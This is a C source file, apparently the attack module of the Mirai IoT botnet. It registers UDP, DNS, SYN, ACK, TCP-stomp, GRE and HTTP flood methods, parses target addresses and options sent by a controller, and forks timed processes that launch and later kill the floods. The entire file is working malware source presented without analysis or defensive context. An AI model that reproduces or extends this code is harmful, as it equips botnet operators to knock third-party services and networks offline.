251 lines
5.8 KiB
C
Executable File
251 lines
5.8 KiB
C
Executable File
#define _GNU_SOURCE
|
|
|
|
#ifdef DEBUG
|
|
#include <stdio.h>
|
|
#endif
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <signal.h>
|
|
#include <errno.h>
|
|
|
|
#include "includes.h"
|
|
#include "attack.h"
|
|
#include "rand.h"
|
|
#include "util.h"
|
|
#include "scanner.h"
|
|
|
|
|
|
uint8_t methods_len = 0;
|
|
struct attack_method **methods = NULL;
|
|
int attack_ongoing[ATTACK_CONCURRENT_MAX] = {0};
|
|
|
|
BOOL attack_init(void)
|
|
{
|
|
int i;
|
|
|
|
add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
|
|
add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
|
|
add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
|
|
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
|
|
|
|
add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
|
|
add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
|
|
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);
|
|
|
|
add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
|
|
add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);
|
|
|
|
//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
|
|
add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
void attack_kill_all(void)
|
|
{
|
|
int i;
|
|
|
|
#ifdef DEBUG
|
|
printf("[attack] Killing all ongoing attacks\n");
|
|
#endif
|
|
|
|
for (i = 0; i < ATTACK_CONCURRENT_MAX; i++)
|
|
{
|
|
if (attack_ongoing[i] != 0)
|
|
kill(attack_ongoing[i], 9);
|
|
attack_ongoing[i] = 0;
|
|
}
|
|
|
|
#ifdef MIRAI_TELNET
|
|
scanner_init();
|
|
#endif
|
|
}
|
|
|
|
void attack_parse(char *buf, int len)
|
|
{
|
|
int i;
|
|
uint32_t duration;
|
|
ATTACK_VECTOR vector;
|
|
uint8_t targs_len, opts_len;
|
|
struct attack_target *targs = NULL;
|
|
struct attack_option *opts = NULL;
|
|
|
|
// Read in attack duration uint32_t
|
|
if (len < sizeof (uint32_t))
|
|
goto cleanup;
|
|
duration = ntohl(*((uint32_t *)buf));
|
|
buf += sizeof (uint32_t);
|
|
len -= sizeof (uint32_t);
|
|
|
|
// Read in attack ID uint8_t
|
|
if (len == 0)
|
|
goto cleanup;
|
|
vector = (ATTACK_VECTOR)*buf++;
|
|
len -= sizeof (uint8_t);
|
|
|
|
// Read in target count uint8_t
|
|
if (len == 0)
|
|
goto cleanup;
|
|
targs_len = (uint8_t)*buf++;
|
|
len -= sizeof (uint8_t);
|
|
if (targs_len == 0)
|
|
goto cleanup;
|
|
|
|
// Read in all targs
|
|
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
|
|
goto cleanup;
|
|
targs = calloc(targs_len, sizeof (struct attack_target));
|
|
for (i = 0; i < targs_len; i++)
|
|
{
|
|
targs[i].addr = *((ipv4_t *)buf);
|
|
buf += sizeof (ipv4_t);
|
|
targs[i].netmask = (uint8_t)*buf++;
|
|
len -= (sizeof (ipv4_t) + sizeof (uint8_t));
|
|
|
|
targs[i].sock_addr.sin_family = AF_INET;
|
|
targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
|
|
}
|
|
|
|
// Read in flag count uint8_t
|
|
if (len < sizeof (uint8_t))
|
|
goto cleanup;
|
|
opts_len = (uint8_t)*buf++;
|
|
len -= sizeof (uint8_t);
|
|
|
|
// Read in all opts
|
|
if (opts_len > 0)
|
|
{
|
|
opts = calloc(opts_len, sizeof (struct attack_option));
|
|
for (i = 0; i < opts_len; i++)
|
|
{
|
|
uint8_t val_len;
|
|
|
|
// Read in key uint8
|
|
if (len < sizeof (uint8_t))
|
|
goto cleanup;
|
|
opts[i].key = (uint8_t)*buf++;
|
|
len -= sizeof (uint8_t);
|
|
|
|
// Read in data length uint8
|
|
if (len < sizeof (uint8_t))
|
|
goto cleanup;
|
|
val_len = (uint8_t)*buf++;
|
|
len -= sizeof (uint8_t);
|
|
|
|
if (len < val_len)
|
|
goto cleanup;
|
|
opts[i].val = calloc(val_len + 1, sizeof (char));
|
|
util_memcpy(opts[i].val, buf, val_len);
|
|
buf += val_len;
|
|
len -= val_len;
|
|
}
|
|
}
|
|
|
|
errno = 0;
|
|
attack_start(duration, vector, targs_len, targs, opts_len, opts);
|
|
|
|
// Cleanup
|
|
cleanup:
|
|
if (targs != NULL)
|
|
free(targs);
|
|
if (opts != NULL)
|
|
free_opts(opts, opts_len);
|
|
}
|
|
|
|
void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
|
{
|
|
int pid1, pid2;
|
|
|
|
pid1 = fork();
|
|
if (pid1 == -1 || pid1 > 0)
|
|
return;
|
|
|
|
pid2 = fork();
|
|
if (pid2 == -1)
|
|
exit(0);
|
|
else if (pid2 == 0)
|
|
{
|
|
sleep(duration);
|
|
kill(getppid(), 9);
|
|
exit(0);
|
|
}
|
|
else
|
|
{
|
|
int i;
|
|
|
|
for (i = 0; i < methods_len; i++)
|
|
{
|
|
if (methods[i]->vector == vector)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[attack] Starting attack...\n");
|
|
#endif
|
|
methods[i]->func(targs_len, targs, opts_len, opts);
|
|
break;
|
|
}
|
|
}
|
|
|
|
//just bail if the function returns
|
|
exit(0);
|
|
}
|
|
}
|
|
|
|
char *attack_get_opt_str(uint8_t opts_len, struct attack_option *opts, uint8_t opt, char *def)
|
|
{
|
|
int i;
|
|
|
|
for (i = 0; i < opts_len; i++)
|
|
{
|
|
if (opts[i].key == opt)
|
|
return opts[i].val;
|
|
}
|
|
|
|
return def;
|
|
}
|
|
|
|
int attack_get_opt_int(uint8_t opts_len, struct attack_option *opts, uint8_t opt, int def)
|
|
{
|
|
char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
|
|
|
|
if (val == NULL)
|
|
return def;
|
|
else
|
|
return util_atoi(val, 10);
|
|
}
|
|
|
|
uint32_t attack_get_opt_ip(uint8_t opts_len, struct attack_option *opts, uint8_t opt, uint32_t def)
|
|
{
|
|
char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
|
|
|
|
if (val == NULL)
|
|
return def;
|
|
else
|
|
return inet_addr(val);
|
|
}
|
|
|
|
static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func)
|
|
{
|
|
struct attack_method *method = calloc(1, sizeof (struct attack_method));
|
|
|
|
method->vector = vector;
|
|
method->func = func;
|
|
|
|
methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *));
|
|
methods[methods_len++] = method;
|
|
}
|
|
|
|
static void free_opts(struct attack_option *opts, int len)
|
|
{
|
|
int i;
|
|
|
|
if (opts == NULL)
|
|
return;
|
|
|
|
for (i = 0; i < len; i++)
|
|
{
|
|
if (opts[i].val != NULL)
|
|
free(opts[i].val);
|
|
}
|
|
free(opts);
|
|
}
|